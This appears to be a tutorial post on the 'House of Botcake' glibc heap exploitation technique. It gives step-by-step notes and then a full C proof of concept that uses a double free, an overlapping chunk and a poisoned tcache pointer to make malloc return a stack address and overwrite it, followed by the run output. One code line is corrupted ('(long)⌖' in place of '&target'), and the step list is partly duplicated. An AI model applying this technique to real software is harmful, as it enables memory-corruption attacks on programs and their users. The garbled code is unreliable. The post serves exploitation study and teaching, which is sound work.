House of Botcake
House of Botcake
Steps
- Allocate 10 chunks.
- 7 chunk to fill
tcachebins - chunk 8 will be used later for later consolidation
- chunk 9 is the victim chunk
- chunk 10 is to prevent consolidation with top chunk for chunk 9.
- 7 chunk to fill
- Free Chunks
- 7 chunks to fill
tcachebins - free chunk 9 so it be added into unsorted bin
- free chunk 8 so that is consolidates with victim chunk (chunk 9).
- 7 chunks to fill
- Add victim chunk to
tcachebins.- allocate 1 chunk to remove the 7th chunk from the
tcachebins.- his frees one slot in
tcachefor our victim chunk.
- his frees one slot in
- free the chunk 9 (victim) again.
- Now we have double free, the victim chunk is in both the
tcacheand theunsortedbins
- Now we have double free, the victim chunk is in both the
- allocate 1 chunk to remove the 7th chunk from the
- Get a overlapping chunk.
- allocate a new chunk with a size that ensures that the chunk overlaps to the victim chunk.
- Overwrite
fd/nextpointer of chunk 9 (victim).- apply safe linking to target address..
- 2 final allocations
- The first allocation will return the chunk 9 (victim)
- The second allocation will return target address
After these steps you will get a overlapping chunk from the unsorted bin.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
int main() {
// STEP 1
char target[0x20] = "Nothing to see here";
printf("target @ %p\ntarget: %s\n", &target, target);
char *ptrs[7];
for (int i = 0;i < 7; i++){
ptrs[i] = malloc(0x100);
}
char *for_consolidation = malloc(0x100);
char *victim = malloc(0x100);
char *gap = malloc(0x10);
printf("consolidation_chunk @ %p\nvictim @ %p\n", for_consolidation, victim);
// STEP 2
for (int i = 0; i < 7; i++) {
free(ptrs[i]);
}
free(victim);
free(for_consolidation);
// STEP 3
char *free_space = malloc(0x100);
free(victim);
// STEP 4
char *overlapping_chunk = malloc(0x120);
printf("overlapping chunk @ %p = consolidation_chunk @ %p\n", overlapping_chunk, for_consolidation);
// STEP 5
uintptr_t stored = ((long)victim >> 12) ^ (long)⌖;
memcpy(overlapping_chunk+0x110, &stored, sizeof(stored));
// STEP 6
char *a = malloc(0x100);
char *b = malloc(0x100);
printf("a @ %p = victim @ %p \n", a, victim);
printf("b @ %p = target @ %p\n", b, &target);
strcpy(b, "PWNED");
printf("target: %s\n", target);
}
When we run it
1
2
3
4
5
6
7
8
9
./a.out
target @ 0x7fffffffdeb0
target: Nothing to see here
consolidation_chunk @ 0x405e20
victim @ 0x405f30
overlapping chunk @ 0x405e20 = consolidation_chunk @ 0x405e20
a @ 0x405f30 = victim @ 0x405f30
b @ 0x7fffffffdeb0 = target @ 0x7fffffffdeb0
target: PWNED
Example
This post is licensed under CC BY 4.0 by the author.